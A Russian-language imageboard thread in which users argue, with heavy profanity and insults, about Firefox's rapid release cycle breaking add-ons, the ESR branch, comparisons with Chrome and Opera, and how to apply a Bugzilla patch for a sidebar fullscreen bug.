Я не знаю, были ли выполнены первые два пункта, но подозреваю, что нет, так как instantfox выглядит далеко не как заброшенный проект и вряд ли бы они пропустили эти письма, хотя это и возможно. Но отсутствие третьего пункта это прямое наплевательское отношение уже к своим пользователям, а не разработчикам. Ну как тут не искать виноватых, скажи мне, если не выполнив эти три пункта разработчики лисы берут и ломают мне жизнь?
Понятное дело, что теперь я тёртый калач и свою попку всякому мажорному релизу лисы не подставлю, пока он не проживет пару месяцев, но не правда ли проще было бы просто выполнить три пункта, которые я тут привел, чем так гандошить своих пользователей и потом говорить, что должны были сами мозги включать прежде чем нажимать на кнопочку на которой было написано: ДА-ДА, обнови меня скорее детка, я стала еще сексуальнее и уже вся теку, обнови меня скорее и ты зальешь монитор спермой от одного взгляда на меня
>>1182158
Разработчику костылей ничто не мешает поставить себе бету/аврору и позаботиться о совместимости задолго до выпуска версии Лисы как стабильной. То, что он ленивое хуйло - его проблемы.
Разработчику костылей ничто не мешает поставить себе бету/аврору и позаботиться о совместимости задолго до выпуска версии Лисы как стабильной. То, что он ленивое хуйло - его проблемы.
>>1182106
Вообще следуя твоей логике я должен не только допиливать плагинчики к своему браузеру, но еще и допекать хлеб у себя дома в печке, дожаривать мясо в ресторане, если мне его принесли непрожаренное, дорабатывать качество движка своей машины, если он хуево откалиброван и т.п. Ведь так лучше, чем быть выебистым аноном, который знает, чего хочет! Извини, но у меня нет времени на это. И исходя из этого я понимаю, что лиса - браузер не для меня.
Вообще следуя твоей логике я должен не только допиливать плагинчики к своему браузеру, но еще и допекать хлеб у себя дома в печке, дожаривать мясо в ресторане, если мне его принесли непрожаренное, дорабатывать качество движка своей машины, если он хуево откалиброван и т.п. Ведь так лучше, чем быть выебистым аноном, который знает, чего хочет! Извини, но у меня нет времени на это. И исходя из этого я понимаю, что лиса - браузер не для меня.
>>1182169
Я вот так и знал, что такой ответ будет. Напряги зрение. Сфокусируйся. Пропукайся там, я не знаю. Готов?
В списке есть еще и третий пункт.
Я вот так и знал, что такой ответ будет. Напряги зрение. Сфокусируйся. Пропукайся там, я не знаю. Готов?
В списке есть еще и третий пункт.
>>1182158
Я не изыскиваю обходные пути, чтобы показать, что ты не прав, так что ты мог бы не тратить своё время, расписывая так подробно, а только самую суть. Первые 2 пункта очевидно сделали, т.к. даже простым юзерам понятно. 3 - дельное предложение, но объём изменённого кода настолько велик, что даже если его пытаться описать вкратце, этого либо не хватит, либо будет всё равно дохера, так что же, разрабу читать все эти изменения ради своего мелкого аддона? Тут основная дилемма: что же делать индусам мозиллы: либо писать на каждый релиз подробную инструкцию, чтобы разрабы аддонов могли там быстро найти нужное, либо - положить хуй на последних. Оба подхода плохи. Представь, что ты разраб. Какова твоя методика шатания?
Насчёт обновлений: придётся скачать весь новый код, чтобы узнать, объявлены ли в нём объекты, к которым обращается расширение. Я советую скачивать версии с https://www.mozilla.org/en-US/firefox/all/ и устанавливать в папку /Mozilla Firefox <Номер_версии>/. Они будут использовать старый профиль. Если всё прошло успешно, старый снести.
Я не изыскиваю обходные пути, чтобы показать, что ты не прав, так что ты мог бы не тратить своё время, расписывая так подробно, а только самую суть. Первые 2 пункта очевидно сделали, т.к. даже простым юзерам понятно. 3 - дельное предложение, но объём изменённого кода настолько велик, что даже если его пытаться описать вкратце, этого либо не хватит, либо будет всё равно дохера, так что же, разрабу читать все эти изменения ради своего мелкого аддона? Тут основная дилемма: что же делать индусам мозиллы: либо писать на каждый релиз подробную инструкцию, чтобы разрабы аддонов могли там быстро найти нужное, либо - положить хуй на последних. Оба подхода плохи. Представь, что ты разраб. Какова твоя методика шатания?
Насчёт обновлений: придётся скачать весь новый код, чтобы узнать, объявлены ли в нём объекты, к которым обращается расширение. Я советую скачивать версии с https://www.mozilla.org/en-US/firefox/all/ и устанавливать в папку /Mozilla Firefox <Номер_версии>/. Они будут использовать старый профиль. Если всё прошло успешно, старый снести.
>>1182187
Fix: "старый снести" - не старый профиль, а старую версию бровзера.
>>1182172
Золотые слова! Трудно представить, чтобы существовал браузер, в котором было бы всё, что нужно хоть одному человеку. Нету такого, и не будет (наверное). Но если есть такой, который тебя полностью устраивает (величайшая удача!) - пожалуйста, перекатывайся! И для этого не обязательно обсирать кого-то, кому не нужна критичная для тебя фича
Fix: "старый снести" - не старый профиль, а старую версию бровзера.
>>1182172
> лиса - браузер не для меня.
Золотые слова! Трудно представить, чтобы существовал браузер, в котором было бы всё, что нужно хоть одному человеку. Нету такого, и не будет (наверное). Но если есть такой, который тебя полностью устраивает (величайшая удача!) - пожалуйста, перекатывайся! И для этого не обязательно обсирать кого-то, кому не нужна критичная для тебя фича
>>1182187
В третьем пункте я написал о том, чтобы сама мозилла фаерфокс проверяла бы использование констант, функций, вызовов, хуй знает, которых в новом релизе нет. Я в твоем ответе не увидел, чего в этом плохого.
В третьем пункте я написал о том, чтобы сама мозилла фаерфокс проверяла бы использование констант, функций, вызовов, хуй знает, которых в новом релизе нет. Я в твоем ответе не увидел, чего в этом плохого.
>>1182193
Да я все больше о подходе к обновлениям.
> для этого не обязательно обсирать кого-то, кому не нужна критичная для тебя фича
Да я все больше о подходе к обновлениям.
>>1182200
Все расширения им проверить? 13,5к расширений, я думаю, это долго. Наверняка найдутся такие же недовольные на расширениях, которыми пользуются 3,5 пользователя.
>>1182203 Извини, не до шуток в этом миллениуме.
>>1182208
В хроме выполнено куда меньше реквестов пользователей, и это слабо отражается в доле рынка.
Так на тебя никто не забивал и не посылал подальше, оказывается! Зачем тогда вся тирада?
Все расширения им проверить? 13,5к расширений, я думаю, это долго. Наверняка найдутся такие же недовольные на расширениях, которыми пользуются 3,5 пользователя.
>>1182203 Извини, не до шуток в этом миллениуме.
>>1182208
В хроме выполнено куда меньше реквестов пользователей, и это слабо отражается в доле рынка.
Так на тебя никто не забивал и не посылал подальше, оказывается! Зачем тогда вся тирада?
>>1182212
Я предлагал проверять расширения, которые есть на компьютере пользователя, используя его вычислительные ресурсы. В чем проблема?
В целом ты ведешь не очень добросовестную полемику. Извини, не буду отвечать тебе на последний вопрос. Намекну только, что есть разница между тобой и тем, кто предложил foobar, а также политикой обновлений лисы. Все это разные вещи. Разные понятия, дистинкции даже может быть, хуй знает.
Я предлагал проверять расширения, которые есть на компьютере пользователя, используя его вычислительные ресурсы. В чем проблема?
В целом ты ведешь не очень добросовестную полемику. Извини, не буду отвечать тебе на последний вопрос. Намекну только, что есть разница между тобой и тем, кто предложил foobar, а также политикой обновлений лисы. Все это разные вещи. Разные понятия, дистинкции даже может быть, хуй знает.
>>1182208
А ты ничего не перепутал, петушок? Здесь тебе не платная техподдержка, чтоб за тобой носиться и сопли тебе подтирать. Ты сам заявил:
и хочешь, чтобы тебя изо всех сил разубеждали что ли?
>Проще забивать на пользователей хуй или посылать их подальше, если им что-то не по душе.
А ты ничего не перепутал, петушок? Здесь тебе не платная техподдержка, чтоб за тобой носиться и сопли тебе подтирать. Ты сам заявил:
>лиса - браузер не для меня.
и хочешь, чтобы тебя изо всех сил разубеждали что ли?
>>1182219
В том, что, как я уже сказал, придётся сначала по сути установить браузер в другое место, всё проверить, и если юзер нажал "ОК", то удалить всё из другого места и только потом обновлять. Может быть, ты не прочь подождать 2 установки, а кто-то - нет. Они должны из-за тебя страдать? Они придут в этот тред с вопросом "А как сделать чтобы один раз устанавливалось? Браузер не для меня!"
Когда говоришь, что полемика недобросовесна, ткни пальцем на логические ошибки.
Я вот у тебя вижу, что:
1) Ты предлагаешь "хорошие" вещи, которые понравятся всем, а если не понравится, то пусть они страдают - тебе-то будет норм.
2) Разрабы в мозилке плохие, потому что они изменяют код. Ты обновляешься, то есть хочешь новую версию кода со всеми фичами, и неявно предполагаешь, что разрабы могут так их реализовать, чтобы не сломать расширения ("хорошего" пути изменения кода я от тебя не надеялся услышать, т.к. даже разрабы его не осилили, а ты вроде не слишком разраб).
3) Когда тебе говоришь, что подобные рассуждения применимы для любого браузера (и следовательно - бесполезны), ты это игнорируешь.
В том, что, как я уже сказал, придётся сначала по сути установить браузер в другое место, всё проверить, и если юзер нажал "ОК", то удалить всё из другого места и только потом обновлять. Может быть, ты не прочь подождать 2 установки, а кто-то - нет. Они должны из-за тебя страдать? Они придут в этот тред с вопросом "А как сделать чтобы один раз устанавливалось? Браузер не для меня!"
Когда говоришь, что полемика недобросовесна, ткни пальцем на логические ошибки.
Я вот у тебя вижу, что:
1) Ты предлагаешь "хорошие" вещи, которые понравятся всем, а если не понравится, то пусть они страдают - тебе-то будет норм.
2) Разрабы в мозилке плохие, потому что они изменяют код. Ты обновляешься, то есть хочешь новую версию кода со всеми фичами, и неявно предполагаешь, что разрабы могут так их реализовать, чтобы не сломать расширения ("хорошего" пути изменения кода я от тебя не надеялся услышать, т.к. даже разрабы его не осилили, а ты вроде не слишком разраб).
3) Когда тебе говоришь, что подобные рассуждения применимы для любого браузера (и следовательно - бесполезны), ты это игнорируешь.
>>1181933
кейворды, блять
высунься уже из своего фурримирка
>Иногда нужно посетить сайт из закладок или истории, например
кейворды, блять
высунься уже из своего фурримирка
>>1182169
и каждые два-три дня переконпелировать найтли билд, и тестировать своё поделие? нахуй иди
и каждые два-три дня переконпелировать найтли билд, и тестировать своё поделие? нахуй иди
Стало понятно, что на разработчиков приложений Мозилле насрать, когда ФФ перешел на релизы каждые 6 недель. Я ФФ использую с 3 версии, и там такой хуйни не было: все аддоны нужно было обновлять раз в год при выходе новой ветки, сейчас же аддоны нужно чинить почти каждый месяц. Разумеется, разработчикам дополнений это не нравится и они просто прекращают их поддерживать, т.к. подобная поддержка по сути мартышкин труд: они раз за разом чинят то, что месяц назад работало исправно.
Источник проблемы нужно искать в топ-менеджменте Мозиллы, которые верят, что если сделать из браузера клон Хрома, то он будет так же популярен, как и Хром. Они не понимают, что если человеку нужен браузер как Хром, то он поставит Хром. Кончится это все печально: пользователей Хрома Файрфокс не привлечет, зато лояльную пользующуюся дополнениями аудиторию растеряет. В итоге получим еще один браузер с 1% рынка. Осенью, кстати, выйдет е10с и в очередной раз массово сломает дополнения.
Источник проблемы нужно искать в топ-менеджменте Мозиллы, которые верят, что если сделать из браузера клон Хрома, то он будет так же популярен, как и Хром. Они не понимают, что если человеку нужен браузер как Хром, то он поставит Хром. Кончится это все печально: пользователей Хрома Файрфокс не привлечет, зато лояльную пользующуюся дополнениями аудиторию растеряет. В итоге получим еще один браузер с 1% рынка. Осенью, кстати, выйдет е10с и в очередной раз массово сломает дополнения.
>>1182346
кстати очень даже сидится. но внезапно возникла такая проблема. я перешел на хтмл5 плеер на ютубе, и у меня боковая панель закладок после полноэкранного режима пропадает. в новой версии такого бага нет, но как решить это проблему на еср? т.к. я сижу только на еср, и переходить на другие ветки, это вообще исключено.
>чего вам на ESR не сидится?
кстати очень даже сидится. но внезапно возникла такая проблема. я перешел на хтмл5 плеер на ютубе, и у меня боковая панель закладок после полноэкранного режима пропадает. в новой версии такого бага нет, но как решить это проблему на еср? т.к. я сижу только на еср, и переходить на другие ветки, это вообще исключено.
>>1182367
ну вообщем то такое происходит не только на ютубе. на дваче тоже самое.
ну вообщем то такое происходит не только на ютубе. на дваче тоже самое.
>>1182346
В ESR не нравится политика исправления уязвимостей: в обязательном порядке исправляются не все уязвимости.
В ESR не нравится политика исправления уязвимостей: в обязательном порядке исправляются не все уязвимости.
>>1182629
Спасибо.
Спасибо.
>>1182275
Вот эти что ли? @?\/!` Это не объективно; я-то себе всё настрою. А "обычный юзер" о них даже не знает. Лечге уж ребятам, которым позарез нужны предложения, покатиться в сёрч-бар.
>>1182318
Ещё раз блять. Представь, что ты - разработчик, и тебе надо заставить это дерьмо работать. Не вдаваясь в технические детали, выходит так, что новые фичи разрушат письку, которую к твоему продукту прикрутил некий Василий. И таких Василиев несколько тыщ штук. Твои действия.
Вот эти что ли? @?\/!` Это не объективно; я-то себе всё настрою. А "обычный юзер" о них даже не знает. Лечге уж ребятам, которым позарез нужны предложения, покатиться в сёрч-бар.
>>1182318
Ещё раз блять. Представь, что ты - разработчик, и тебе надо заставить это дерьмо работать. Не вдаваясь в технические детали, выходит так, что новые фичи разрушат письку, которую к твоему продукту прикрутил некий Василий. И таких Василиев несколько тыщ штук. Твои действия.
>>1182637
Разрушают письки не фичи, а API, который мозилловцы регулярно шатают. Постил уже ссылку на япошку в прошлых тредах, он про это прямо говорил.
>новые фичи разрушат письку, которую к твоему продукту прикрутил некий Василий
Разрушают письки не фичи, а API, который мозилловцы регулярно шатают. Постил уже ссылку на япошку в прошлых тредах, он про это прямо говорил.
19 Кб, 1233x230
>>1182637
в каждом браузере, начиная с 2010 года (кроме лисы, разумеется)
в каждом браузере, начиная с 2010 года (кроме лисы, разумеется)
>>1182646
Япошка для тебя авторитет? Что ж, хорошо, а инструменты разработчика они, наверное, просто так шатают, от нечего делать, а не потому что нужно исправить что-то важное.
>>1182648
Может быть, это ты тупой олень, не понял а влез? Я как бы так и делаю, а вот во всяких хромах предложения всплывают вне зависимости от того, что ты там введёшь. Вполне нормально для такой-то кастомизации (которой в хроме тоже нет) ставить дополнительную писку. А она есть.
Япошка для тебя авторитет? Что ж, хорошо, а инструменты разработчика они, наверное, просто так шатают, от нечего делать, а не потому что нужно исправить что-то важное.
>>1182648
Может быть, это ты тупой олень, не понял а влез? Я как бы так и делаю, а вот во всяких хромах предложения всплывают вне зависимости от того, что ты там введёшь. Вполне нормально для такой-то кастомизации (которой в хроме тоже нет) ставить дополнительную писку. А она есть.
>>1182654
а вот в опире такой функционал был, и он настраивался кокококококо
я не буду встревать в дискуссию о том, что лучше - выпиленный функционал, который запиливается плагином, или невыпиливаемый, который плагином - выпиливается
сорта говна
>Может быть, это ты тупой олень, не понял а влез? Я как бы так и делаю, а вот во всяких хромах предложения всплывают вне зависимости от того, что ты там введёшь. Вполне нормально для такой-то кастомизации (которой в хроме тоже нет) ставить дополнительную писку. А она есть.
а вот в опире такой функционал был, и он настраивался кокококококо
я не буду встревать в дискуссию о том, что лучше - выпиленный функционал, который запиливается плагином, или невыпиливаемый, который плагином - выпиливается
сорта говна
>>1182654
Да. И он не один это говорит.
Я не знаю, что для Мозиллы важное, но об удобстве они явно не заботятся. И еще раз говорю: в ФФ3 аддоны так часто не отваливались, их требовалось чинить раз в год. Все жили нормально и всем хорошо было. Потом начались релизы каждые 6 месяцев и все полетело в пизду.
>Япошка для тебя авторитет
Да. И он не один это говорит.
>инструменты разработчика они, наверное, просто так шатают, от нечего делать, а не потому что нужно исправить что-то важное.
Я не знаю, что для Мозиллы важное, но об удобстве они явно не заботятся. И еще раз говорю: в ФФ3 аддоны так часто не отваливались, их требовалось чинить раз в год. Все жили нормально и всем хорошо было. Потом начались релизы каждые 6 месяцев и все полетело в пизду.
>>1182656
Выпиленный откуда? В лисе его изначально не было. Ты предполагаешь, что он должен бы там быть. Вопрос, сколько вообще фич должно быть в браузере ("норма" по фичам) - интересный, и объективно его обсудить довольно сложно.
>>1182659
Я не отрицаю, что сложившаяся ситуация выглядит не очень хорошо, но отрицаю решающую роль мозиллы в этой ситуации. В конце концов, им же тоже пришлось выбирать между двумя стульями.
Выпиленный откуда? В лисе его изначально не было. Ты предполагаешь, что он должен бы там быть. Вопрос, сколько вообще фич должно быть в браузере ("норма" по фичам) - интересный, и объективно его обсудить довольно сложно.
>>1182659
Я не отрицаю, что сложившаяся ситуация выглядит не очень хорошо, но отрицаю решающую роль мозиллы в этой ситуации. В конце концов, им же тоже пришлось выбирать между двумя стульями.
>>1182663
только в сравнении же с существующими (раз) и по новизне(два)
фишка не новая, но уже везде есть, и все ей пользуются, значит нужна
так как ты рассуждаешь, можно кукарекнуть, что и графический интерфейс не нужен - плевать на годы прогресса, сидеть через Links
>Вопрос, сколько вообще фич должно быть в браузере ("норма" по фичам) - интересный, и объективно его обсудить довольно сложно.
только в сравнении же с существующими (раз) и по новизне(два)
фишка не новая, но уже везде есть, и все ей пользуются, значит нужна
так как ты рассуждаешь, можно кукарекнуть, что и графический интерфейс не нужен - плевать на годы прогресса, сидеть через Links
>>1182663
Мозилла последние годы пытается сделать из браузера Хром, это их главная ошибка, за которую несут ответственность только они. Цикл релизов из той же серии: ввели частые релизы как у Хрома якобы для того, чтобы быстрей новый функционал добавлять, а на деле добавляют максимум две новых функции в год, при этом регулярно ломая все аддоны. Назови, например, новые функции в фф30-36. Их одна-две наберется максимум.
>отрицаю решающую роль мозиллы в этой ситуации
Мозилла последние годы пытается сделать из браузера Хром, это их главная ошибка, за которую несут ответственность только они. Цикл релизов из той же серии: ввели частые релизы как у Хрома якобы для того, чтобы быстрей новый функционал добавлять, а на деле добавляют максимум две новых функции в год, при этом регулярно ломая все аддоны. Назови, например, новые функции в фф30-36. Их одна-две наберется максимум.
>>1182669
я не понимаю этого довода. ты фф-то видел? она если и похожа на хром, то только альфа-версий, где нихуя не было
>Мозилла последние годы пытается сделать из браузера Хром
я не понимаю этого довода. ты фф-то видел? она если и похожа на хром, то только альфа-версий, где нихуя не было
>>1182627
Ну, по данным на конец 2014 c уязвимостями там всё равно всё гораздо лучше обстоит.
https://2ch.hk/s/src/1179646/14263383213270.jpg
И потом, ты сам можешь накатывать эти апдейты, или вообще на торолисе сидеть.
>>1182367
Ну можно поискать комиты по теговым словам, и попробовать самому накатить. Или оставить багрепорт не на двачах, а в багтрекере.
Ну, по данным на конец 2014 c уязвимостями там всё равно всё гораздо лучше обстоит.
https://2ch.hk/s/src/1179646/14263383213270.jpg
И потом, ты сам можешь накатывать эти апдейты, или вообще на торолисе сидеть.
>>1182367
Ну можно поискать комиты по теговым словам, и попробовать самому накатить. Или оставить багрепорт не на двачах, а в багтрекере.
>>1182671
Он наверное про изменённый интерфейс в 4й.
Он наверное про изменённый интерфейс в 4й.
>>1182671
Чо? Закруглённые вкладки и меню как у хрома.
>>1182668
Да не говорю я, что конкретно эта штука не нужна! Я пытаюсь рассуждать в общем, потому что если собрать все "нужные фичи", получится комбайн. Хотя по-хорошему им можно бы уже впилить некоторые особо успешные и нужные аддоны - прямое использование addons.mozilla.org
У тебя omnibar, судя по всему? Итт писали, что он багнутый, но у меня всё работает.
>>1182669
Безопасность, ускорение XUL, JS, аппаратное ускорение. Вообще, ты думаешь, можно изменить код и ничего не поломать. Ты хочешь блять сказать, что они там сидят, ничего не пилят, и специально ломают аддоны? Лучше принеси другой аргумент в пользу их вины.
А вот 1182668 хотел бы foobar в браузере, это по-твоему хорошо или плохо? Ведь хром же сделают. Опять два стула.
>>1182690
Не обращай внимания, 1182367 тут уже несколько тредов ноет.
Чо? Закруглённые вкладки и меню как у хрома.
>>1182668
Да не говорю я, что конкретно эта штука не нужна! Я пытаюсь рассуждать в общем, потому что если собрать все "нужные фичи", получится комбайн. Хотя по-хорошему им можно бы уже впилить некоторые особо успешные и нужные аддоны - прямое использование addons.mozilla.org
У тебя omnibar, судя по всему? Итт писали, что он багнутый, но у меня всё работает.
>>1182669
Безопасность, ускорение XUL, JS, аппаратное ускорение. Вообще, ты думаешь, можно изменить код и ничего не поломать. Ты хочешь блять сказать, что они там сидят, ничего не пилят, и специально ломают аддоны? Лучше принеси другой аргумент в пользу их вины.
А вот 1182668 хотел бы foobar в браузере, это по-твоему хорошо или плохо? Ведь хром же сделают. Опять два стула.
>>1182690
Не обращай внимания, 1182367 тут уже несколько тредов ноет.
>>1182697
Это все изменения под капотом, а сколько добавили новых функций, заметных пользователю? Типа панорамы или матрицы часто посещаемых сайтов в новой вкладке.
Я тебе третий раз повторяю, что в ФФ3 такой хуйни не было и все работало отлично. Еще один пример - ESR-релиз, в котором все аддоны работают и обновления безопасности есть. ESR вообще идеальный пример дружелюбного отношения к разработчикам аддонов, а не тот пиздец, что мозилловцы устроили. Учитывая, что дополнения - это, по сути, единственное преимущество фф перед другими браузерами, хочется взять и уебать тому придурку, кто придумал 6-недельные релизы.
>>1182702
Комбайн никому не нужен.
>Безопасность, ускорение XUL, JS, аппаратное ускорение
Это все изменения под капотом, а сколько добавили новых функций, заметных пользователю? Типа панорамы или матрицы часто посещаемых сайтов в новой вкладке.
>Вообще, ты думаешь, можно изменить код и ничего не поломать. Ты хочешь блять сказать, что они там сидят, ничего не пилят, и специально ломают аддоны? Лучше принеси другой аргумент в пользу их вины.
Я тебе третий раз повторяю, что в ФФ3 такой хуйни не было и все работало отлично. Еще один пример - ESR-релиз, в котором все аддоны работают и обновления безопасности есть. ESR вообще идеальный пример дружелюбного отношения к разработчикам аддонов, а не тот пиздец, что мозилловцы устроили. Учитывая, что дополнения - это, по сути, единственное преимущество фф перед другими браузерами, хочется взять и уебать тому придурку, кто придумал 6-недельные релизы.
>>1182702
Комбайн никому не нужен.
>>1182714
Комбайн=Опера 12 или Вивалди. Мне комбайн тоже нужен, но нас мало. Поэтому Опера 12 и умерла(( У ФФ, кстати, ситуация аналогичная: из 400-миллионной или сколько там аудитории самое популярное дополнение имеет меньше 20 миллионов пользователей - менее 5% от общего числа(
Комбайн=Опера 12 или Вивалди. Мне комбайн тоже нужен, но нас мало. Поэтому Опера 12 и умерла(( У ФФ, кстати, ситуация аналогичная: из 400-миллионной или сколько там аудитории самое популярное дополнение имеет меньше 20 миллионов пользователей - менее 5% от общего числа(
>>1182701
https://bugzilla.mozilla.org/ тут вбиваешь, например "urlbar bug", ищешь. Хотя забей, тебе это точно не нужно.
Если тут кому-то особо одарённому не влом, можете использовать этот патч для починки того бага в ESR: https://bugzilla.mozilla.org/show_bug.cgi?id=714675
Лично я не хочу, потому что они потом будут приходить итт довольные и троллировать меня
>>1182711
То есть нужны только такие изменения, которые заметны пользователю (т.е. UI)? Этот аргумент мне тоже не нравится. А вот время выпуска новой версии могли бы и увеличить до 12, скажем. Тут всёж соглашусь. Хотя если багфиксы между версиями ломают аддон, получаем то же, что было.
В общем, я сливаюсь с этой темы, пока не прочту о том, как им пришло в голову сделать такой интервал обновления.
https://bugzilla.mozilla.org/ тут вбиваешь, например "urlbar bug", ищешь. Хотя забей, тебе это точно не нужно.
Если тут кому-то особо одарённому не влом, можете использовать этот патч для починки того бага в ESR: https://bugzilla.mozilla.org/show_bug.cgi?id=714675
Лично я не хочу, потому что они потом будут приходить итт довольные и троллировать меня
>>1182711
То есть нужны только такие изменения, которые заметны пользователю (т.е. UI)? Этот аргумент мне тоже не нравится. А вот время выпуска новой версии могли бы и увеличить до 12, скажем. Тут всёж соглашусь. Хотя если багфиксы между версиями ломают аддон, получаем то же, что было.
В общем, я сливаюсь с этой темы, пока не прочту о том, как им пришло в голову сделать такой интервал обновления.
>>1182711
хуйня какая-то
мне важнее удобство для меня, а не для моего процессора
оптимизация - это неплохо, но я лучше буду совершать необходимые действия в два клика, а не в 5, чем какое-то там ускорение жавасрипта, пусть даже на 50%.
хуйня какая-то
мне важнее удобство для меня, а не для моего процессора
оптимизация - это неплохо, но я лучше буду совершать необходимые действия в два клика, а не в 5, чем какое-то там ускорение жавасрипта, пусть даже на 50%.
>>1182701
https://developer.mozilla.org/ru/docs/Simple_Firefox_build
Cырцы можно открывать для правки в соответствующей IDE.
Как-то так.
https://hg.mozilla.org/mozilla-central
Комиты с описанием изменений\фиксов. Ещё можно по чейнжлогу поискать, по киворду "букмарк".
https://mozilla.github.io/process-releases/draft/development_overview/
Описание процесса разработки браузера в общем случае.
https://developer.mozilla.org/ru/docs/Simple_Firefox_build
Cырцы можно открывать для правки в соответствующей IDE.
Как-то так.
https://hg.mozilla.org/mozilla-central
Комиты с описанием изменений\фиксов. Ещё можно по чейнжлогу поискать, по киворду "букмарк".
https://mozilla.github.io/process-releases/draft/development_overview/
Описание процесса разработки браузера в общем случае.
>>1182739
В том-то и дело, если ты прочтёшь патч, то это не баг никакой, так изначально и планировалось. В исходном коде есть 2 строки, в которых проверяется, открыт ли сайдбар, и если да, то он закрывается. Но, видимо, много людей высказалось за то, чтобы это изменили.
В том-то и дело, если ты прочтёшь патч, то это не баг никакой, так изначально и планировалось. В исходном коде есть 2 строки, в которых проверяется, открыт ли сайдбар, и если да, то он закрывается. Но, видимо, много людей высказалось за то, чтобы это изменили.
350 Кб, 1365x313
378 Кб, 1365x370
>>1180616 >>1181901
Только что допилил нормальное отображение обновлений и прочие фиксы. Кто скачивал, перескачайте снова отсюда: https://dl.dropboxusercontent.com/s/vew2alwt8qna0o5/Style%20for%20FirefoX.htm?dl=0
Только что допилил нормальное отображение обновлений и прочие фиксы. Кто скачивал, перескачайте снова отсюда: https://dl.dropboxusercontent.com/s/vew2alwt8qna0o5/Style%20for%20FirefoX.htm?dl=0
>>1182729
я готов. с чего только начинать, скажите.
>Если тут кому-то особо одарённому не влом, можете использовать этот патч для починки того бага в ESR: https://bugzilla.mozilla.org/show_bug.cgi?id=714675
я готов. с чего только начинать, скажите.
>>1182759
с сосания хуёв
с сосания хуёв
>>1182759
Нет, начинать надо не тебе, а тому, кто знает JavaScript, и может примерно понять значение переменных в патче.
А ему - надо взять какое-нибудь расширение вроде Tab Tooltip, которое переопределяет существующие объекты, прочитать его, понять и переписать так, чтобы оно переопределяло то что нужно в патче. Это не самый элегантный, но самый простой путь. Hint: расширения можно складывать в папку \extensions\ в не-запакованном виде.
Нет, начинать надо не тебе, а тому, кто знает JavaScript, и может примерно понять значение переменных в патче.
А ему - надо взять какое-нибудь расширение вроде Tab Tooltip, которое переопределяет существующие объекты, прочитать его, понять и переписать так, чтобы оно переопределяло то что нужно в патче. Это не самый элегантный, но самый простой путь. Hint: расширения можно складывать в папку \extensions\ в не-запакованном виде.
36 Кб, 317x372
>>1182772
Чо тут думать, берёшь код https://bug714675.bugzilla.mozilla.org/attachment.cgi?id=8514499 и копипастишь в сырцы на нужное место.
Чо тут думать, берёшь код https://bug714675.bugzilla.mozilla.org/attachment.cgi?id=8514499 и копипастишь в сырцы на нужное место.
>>1182849
Во-во! Им не помешала бы кнопка "установить патч" на том сайте!
Во-во! Им не помешала бы кнопка "установить патч" на том сайте!
>>1182855
Гики шутят, не обращай внимания.
Гики шутят, не обращай внимания.
>>1182869
Да я-то другой анон, на релизе, просто интересуюсь. Ведь набор патчей для ESR и релиза - разный. И я почти уверен, что конкретно этот патч придётся изменить, хоть это и не сложно. Но зачем такое решение, как им делиться с другими? Расширение лучше, конечно. Либо пойти в мозиллу со своим патчем, предварительно оформив баг для ESR. Тогда оно будет пофиксено для всех, а не для одного анона, которому было не влом
В общем, не надо разводить эту тему. Я считаю, что он будет продолжать спрашивать, пока вы ему не расскажете вообще всё. Если хотите помочь, легче уж пойти самому всё это сделать.
Да я-то другой анон, на релизе, просто интересуюсь. Ведь набор патчей для ESR и релиза - разный. И я почти уверен, что конкретно этот патч придётся изменить, хоть это и не сложно. Но зачем такое решение, как им делиться с другими? Расширение лучше, конечно. Либо пойти в мозиллу со своим патчем, предварительно оформив баг для ESR. Тогда оно будет пофиксено для всех, а не для одного анона, которому было не влом
В общем, не надо разводить эту тему. Я считаю, что он будет продолжать спрашивать, пока вы ему не расскажете вообще всё. Если хотите помочь, легче уж пойти самому всё это сделать.
>>1182876
Я же нормальный человек, видео в плеере смотрю. Да и сайдбаром не пользуюсь практически. Проще название нужной закладки ввести.
Я же нормальный человек, видео в плеере смотрю. Да и сайдбаром не пользуюсь практически. Проще название нужной закладки ввести.
>>1182878
В смысле, в стороннем плеере? Ну и что? Не понял к чему это.
Проще панель использовать закладок - под адресной строкой. Ну что, я тебя сильно спас от мук на ESR?
В смысле, в стороннем плеере? Ну и что? Не понял к чему это.
Проще панель использовать закладок - под адресной строкой. Ну что, я тебя сильно спас от мук на ESR?
721 Кб, 786x572
>для крохотного изменения в поведении программы предлагают вместо изменения настройки вносить изменения в код и переконпелировать
тьюринг не для этого ради вас в очко долбился, чтобы вы всё его наследие по пизде пустили
>>1182884
и скачиваешь видео
@
и смотришь его в плеере
хули непонятного, дура?
>В смысле, в стороннем плеере?
и скачиваешь видео
@
и смотришь его в плеере
хули непонятного, дура?
>>1182895
Непонятно только то, какого рожна ты влез в разговор о том, как пользователи ESR не могут смотреть видео фул-скрин, не закрывая сайдбар, если ты никакого отношения к ней не имеешь. Рассказать, какой ты "нормальный"? Нахуй иди.
Непонятно только то, какого рожна ты влез в разговор о том, как пользователи ESR не могут смотреть видео фул-скрин, не закрывая сайдбар, если ты никакого отношения к ней не имеешь. Рассказать, какой ты "нормальный"? Нахуй иди.
У меня сейчас на лисе не скроллится двач дальше первой страницы, даже если отключить адблок. Буду двачевать с оперы. На ней страницы разделяются рекламой паблика вкудахте.
>>1182884
Как оно с тысячей закладок поможет?
Да меня все устраивает, даже не знал о таком баге до этого.
В каком стороннем? Обычном плеере для видео.
> Проще панель использовать закладок - под адресной строкой.
Как оно с тысячей закладок поможет?
> Ну что, я тебя сильно спас от мук на ESR?
Да меня все устраивает, даже не знал о таком баге до этого.
> В смысле, в стороннем плеере?
В каком стороннем? Обычном плеере для видео.
>>1182899
умри
умри
31 Кб, 551x488
>>1182898
С тех пор, как появился плеер, встроенный в браузер, нужно уточнять.
Откуда вы лезете, блять. Тред почитай - поймёшь, что несколько людей пытались объяснить ESR-щику, как исправить его браузер. И с чего ты влез, можешь объяснить?
>>1182897
Это относится не к браузеру, а к твоим шатаниям. Попробуй пик, либо удалить куки / безопасный режим. Куклу не используй ни в коем случае
> В каком стороннем?
С тех пор, как появился плеер, встроенный в браузер, нужно уточнять.
> Да меня все устраивает, даже не знал о таком баге до этого.
Откуда вы лезете, блять. Тред почитай - поймёшь, что несколько людей пытались объяснить ESR-щику, как исправить его браузер. И с чего ты влез, можешь объяснить?
>>1182897
Это относится не к браузеру, а к твоим шатаниям. Попробуй пик, либо удалить куки / безопасный режим. Куклу не используй ни в коем случае
>>1182904
Хуле, у тебя разрешения должен был сначала спросить? Захотел — написал.
> И с чего ты влез, можешь объяснить?
Хуле, у тебя разрешения должен был сначала спросить? Захотел — написал.
>>1182909
